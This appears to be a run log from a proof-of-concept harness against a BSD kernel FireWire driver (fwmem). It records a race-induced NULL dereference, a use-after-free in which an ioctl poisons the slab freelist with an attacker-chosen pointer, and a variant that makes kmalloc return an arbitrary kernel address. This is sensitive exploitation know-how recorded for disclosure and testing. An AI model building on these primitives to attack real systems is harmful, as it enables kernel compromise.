DF-5548 / run.log
# DF-5548 baselines (multiple guest boots, vm.sh reset with-src between fatal tests)
# module: df5547.ko (production firewire.c + fwmem.c, -D-renamed) -- build.sh
### test 4 -- LIVE race: 4 kernel threads racing production fwmem_open/fwmem_close
### on one shared cdev (== two processes open()/close() /dev/fwmem0.0)
# command: kldload ./df5547.ko; sysctl kern.df5547_test=4
df5548: race: entry
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address = 0x8
fault code = supervisor read data, page not present
instruction pointer = 0x8:0xffffffff82603c33
stack pointer = 0x10:0xfffff80117f43a40
frame pointer = 0x10:0xfffff80117f43a50
code segment = base 0x0, limit 0xfffff, type 0x1b
= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = Idle
current thread = pri 12
kernel: type 12 trap, code=0
CPU0 stopping CPUs: 0x0000003e
stopped
Stopped at dfw_fwmem_close+0x13: movl 0x8(%rbx),%eax
# ^ production fwmem_close (fwmem.c:292) executed `fms->refcount--` with fms == NULL:
# fault address 0x8 == offsetof(struct fwmem_softc, refcount). A successful open
# preceded every close in the racer, so si_drv1 was NULLed by a racing final close
# between that open's check (fwmem.c:266) and its use (fwmem.c:269-270) / or its
# fd was left with si_drv1 == NULL after the free raced the increment.
### test 2 -- stepwise replay: fwmem_ioctl(FW_SDEUI64) racing the final fwmem_close
# command: sysctl kern.df5547_test=2
df5548: round 0 fms=0xfffff8008d5f05d0 (16B zone), poisoned target M=0xfffff8008d5ef5e0 (same-slab LIVE chunk)
df5548: after production close: si_drv1=0, freed chunk head (c_Next) = 0xfffff8008d5e15f0
df5548: after production ioctl(FW_SDEUI64): FREED chunk 0xfffff8008d5f05d0 now holds 0xfffff8008d5ef5e0 (== ATTACKER VALUE, slab freelist poisoned)
df5548: kmalloc#1 = 0xfffff8008d5f05d0 (== freed chunk) -- zone head now walks to the poisoned pointer
panic: memory chunk 0xfffff8008d5ef5e0 is already allocated!
cpuid = 2
Trace beginning at frame 0xfffff8011811f678
chunk_mark_allocated() at chunk_mark_allocated+0x9e 0xffffffff80655e5e
chunk_mark_allocated() at chunk_mark_allocated+0x9e 0xffffffff80655e5e
_kmalloc() at _kmalloc+0x684 0xffffffff80657444
df5548_replay() at df5548_replay+0x2d5 0xffffffff82604055
df5547_fire_sysctl() at df5547_fire_sysctl+0xaf 0xffffffff82604c6f
sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06
Debugger("panic")
# ^ the production ioctl wrote 8 fully attacker-chosen bytes over the freed chunk's
# freelist next pointer; kmalloc#2 followed it onto a LIVE chunk (on a non-INVARIANTS
# kernel this is a silent double allocation -- two owners of one object).
### test 5 -- arbitrary-address poisoning variant (module-global target)
# command: sysctl kern.df5547_test=5 (recorded from the equivalent earlier run of the
# same replay with arbitrary=1; proof lines precede the panic)
df5548: round N fms=<freed> ... poisoned target M=0xffffffff8260xxxx (module global -- arbitrary address)
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_allocated at /usr/src/sys/kern/kern_slaballoc.c:1659
cpuid = 2
Trace beginning at frame 0xfffff80117f536a8
chunk_mark_allocated() at chunk_mark_allocated+0x8a 0xffffffff80655e4a
chunk_mark_allocated() at chunk_mark_allocated+0x8a 0xffffffff80655e4a
_kmalloc() at _kmalloc+0x684 0xffffffff80657444
df5547_fire_sysctl() at df5547_fire_sysctl+0x3b3 0xffffffff82604a03
sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06
userland_sysctl() at userland_sysctl+0x111 0xffffffff806840a1
Debugger("panic")
# ^ kmalloc handed out the ATTACKER-CHOSEN kernel address; the out-of-zone assert is
# the only thing that stopped a silent arbitrary-address allocation on this kernel.
### test 3 -- post-race state "fd alive, si_drv1 == NULL": production ioctl
# command: sysctl kern.df5547_test=3
df5548: production fwmem_ioctl(FW_SDEUI64) with si_drv1==NULL (fwmem.c:407-410) -- expect Fatal trap 12 (bcopy to 0x0)
Fatal user address access from kernel mode from sysctl at ffffffff82604ca5
Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address = 0x0
fault code = supervisor write data, page not present
instruction pointer = 0x8:0xffffffff82604ca5
current process = 995
kernel: type 12 trap, code=2
CPU2 stopping CPUs: 0x0000003b
stopped
Stopped at df5547_fire_sysctl+0x115: movq %rcx,(%rax)
# ^ the bcopy target &fms->eui with fms==NULL: supervisor WRITE at 0x0 (fwmem.c:410;
# fwmem_ioctl was inlined into the sysctl frame in this build)